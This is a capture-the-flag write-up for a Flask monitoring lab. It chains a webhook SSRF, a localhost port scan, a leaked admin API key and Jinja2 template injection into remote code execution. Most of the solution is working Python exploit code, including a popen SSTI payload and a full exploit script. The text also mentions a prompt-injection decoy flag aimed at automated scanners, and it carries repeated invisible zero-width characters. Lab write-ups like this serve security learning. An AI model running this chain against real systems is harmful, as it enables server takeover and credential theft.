← Back to Writeups
CUSTOMMediumWeb

Lab 315 — PulseMetrics — SSRF Chain to SSTI via Internal Services

XESXOR9/10/20264 min read
#web#custom#medium#authenticated_ssrf_with_header#cycler_globals_popen#debug_config_disclosure#internal_port_scanning#jinja2_ssti_rce#ssrf_via_webhook

Lab 315 — PulseMetrics — SSRF Chain to SSTI via Internal Services

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-05-03 | Status: Solved Techniques: authenticated_ssrf_with_headers, cycler_globals_popen, debug_config_disclosure, internal_port_scanning, jinja2_ssti_rce, ssrf_via_webhook

Summary

Task: Flask monitoring platform with webhook integration feature allowing full-read SSRF. Solution: Chain SSRF to discover internal services, leak API key from debug endpoint, then exploit unsandboxed Jinja2 SSTI on authenticated admin report API for RCE.

Lab 315 — PulseMetrics — Hackadvisor

Description

PulseMetrics is a real-time infrastructure monitoring platform used by DevOps teams to track server health, application performance, and uptime. The platform features customizable dashboards with CPU/memory/disk charts, alert rules with configurable thresholds, incident tracking with timeline views, and integrations with third-party services via webhooks.

English summary: A Flask/Gunicorn monitoring SaaS application with webhook integrations. The objective is to find and exploit vulnerabilities to retrieve a hidden flag. Credentials provided: user@test.com / password123. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Important note: Every page contains a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in hidden HTML comments — a honeypot/prompt injection trap for automated scanners.

Analysis

The attack surface centers on the Integrations page (/settings/integrations) which has a Webhook Tester feature. The endpoint /api/integrations/test-webhook accepts POST requests with a JSON body specifying url, method, headers, and body — and returns the full response including body, headers, and status code. This is a full-read SSRF that also supports custom headers and POST bodies, making it extremely powerful for pivoting to internal services. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The architecture consists of three services:

  1. Port 8080 — Main Flask application (gunicorn) — the public-facing app
  2. Port 3001 — metrics-collector — internal Python BaseHTTP service with a debug endpoint leaking configuration
  3. Port 3002 — admin-report-api — internal Python BaseHTTP service with authenticated Jinja2 template rendering (no sandbox)

The kill chain: SSRF → Internal port scan → Debug config disclosure (API key + endpoints) → Authenticated SSRF to admin API → SSTI → RCE → Flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Login and Identify SSRF

Login with provided credentials and locate the webhook tester:

python
import requests, json

TARGET = "https://3770bbc2-489e-4e71-ad51-b929ebc10df3.labs.hackadvisor.io"
s = requests.Session()
s.post(f"{TARGET}/login", data={"email": "user@test.com", "password": "password123"}, allow_redirects=False)

def ssrf(url, method="GET", body="", headers=""):
    payload = {"url": url, "method": method}
    if body: payload["body"] = body
    if headers: payload["headers"] = headers
    r = s.post(f"{TARGET}/api/integrations/test-webhook", json=payload)
    return r.json()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Internal Service Discovery via Port Scanning

python
# Scan localhost ports
for port in [3000, 3001, 3002, 5000, 8080, 8443, 9090]:
    result = ssrf(f"http://localhost:{port}/")
    print(f"Port {port}: status={result.get('status_code')}")

Found services on ports 3001 and 3002.

Step 3: Debug Endpoint Information Disclosure

python
result = ssrf("http://localhost:3001/debug/config")
config = json.loads(result["response_body"])

Response reveals the full internal architecture:

json
{
  "service": "pulsemetrics-collector",
  "version": "2.4.1",
  "admin_api": {
    "host": "127.0.0.1",
    "port": 3002,
    "endpoints": ["/admin/status", "/admin/render-report"],
    "auth_header": "X-Admin-Key",
    "key": "pmk_a8f3e2d1c9b7046512de"
  }
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 4: Access Admin Report API

python
API_KEY = "pmk_a8f3e2d1c9b7046512de"
AUTH_HEADERS = json.dumps({"X-Admin-Key": API_KEY, "Content-Type": "application/json"})

result = ssrf("http://localhost:3002/admin/status", headers=AUTH_HEADERS)
# Response: {"status": "ok", "service": "admin-report-api", "template_engine": "jinja2"}

The template_engine: "jinja2" confirms the SSTI target.

Step 5: SSTI Confirmation

python
body = json.dumps({"template": "{{7*7}}"})
result = ssrf("http://localhost:3002/admin/render-report", method="POST", body=body, headers=AUTH_HEADERS)
# Response: {"rendered": "49", "template_length": 7, "output_length": 2}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 6: RCE and Flag Retrieval

python
def ssti(template):
    body = json.dumps({"template": template})
    result = ssrf("http://localhost:3002/admin/render-report", method="POST", body=body, headers=AUTH_HEADERS)
    data = json.loads(result.get("response_body", "{}"))
    return data.get("rendered", "")

# Find the flag file
ssti("{{ cycler.__init__.__globals__.os.popen('find / -name flag* 2>/dev/null').read() }}")
# Result: /root/flag.txt

# Read the flag
flag = ssti("{{ cycler.__init__.__globals__.os.popen('cat /root/flag.txt').read() }}")
print(f"Flag: {flag}")
# FLAG{REDACTED}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Full Exploit Script

python
#!/usr/bin/env python3
import requests
import json

TARGET = "https://3770bbc2-489e-4e71-ad51-b929ebc10df3.labs.hackadvisor.io"

# Login
s = requests.Session()
s.post(f"{TARGET}/login", data={"email": "user@test.com", "password": "password123"}, allow_redirects=False)

def ssrf(url, method="GET", body="", headers=""):
    payload = {"url": url, "method": method}
    if body: payload["body"] = body
    if headers: payload["headers"] = headers
    r = s.post(f"{TARGET}/api/integrations/test-webhook", json=payload)
    return r.json()
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 1: Leak internal service config
config = json.loads(ssrf("http://localhost:3001/debug/config")["response_body"])
api_key = config["admin_api"]["key"]
print(f"[+] Leaked API key: {api_key}")

# Step 2: SSTI → RCE → Flag
AUTH_HEADERS = json.dumps({"X-Admin-Key": api_key, "Content-Type": "application/json"})
body = json.dumps({"template": "{{ cycler.__init__.__globals__.os.popen('cat /root/flag.txt').read() }}"})
result = ssrf("http://localhost:3002/admin/render-report", method="POST", body=body, headers=AUTH_HEADERS)
data = json.loads(result["response_body"])
print(f"[+] Flag: {data['rendered'].strip()}")

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍